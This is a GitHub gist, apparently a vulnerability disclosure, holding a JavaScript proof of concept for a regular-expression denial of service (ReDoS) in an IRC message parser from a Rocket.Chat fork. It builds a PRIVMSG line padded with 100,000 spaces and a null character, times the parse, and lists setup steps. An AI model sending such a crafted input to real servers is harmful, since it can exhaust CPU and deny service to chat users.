Created
April 2, 2025 04:38
-
-
Save mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb to your computer and use it in GitHub Desktop.
ReDos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const parseMessage = require('./parseMessage') | |
const validLine = | |
':' + 'myNick!user@host' + ' ' + | |
'PRIVMSG' + ' ' + | |
'#channel' + ' ' + | |
'Hello ' +""+" ".repeat(100000)+"\u0000"+ 'Trailing'; | |
const startTime = performance.now(); | |
const message = parseMessage(validLine); | |
console.log(message) | |
const endTime = performance.now(); | |
const timeTaken = endTime - startTime; | |
console.log(`time taken: ${timeTaken.toFixed(3)} ms`); | |
// 1.git clone https://github.com/mmmsssttt404/Rocket.Chat.git | |
// 2.cd Rocket.Chat | |
// 3.yarn | |
// 4.create poc.js | |
// 5.node poc.js |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment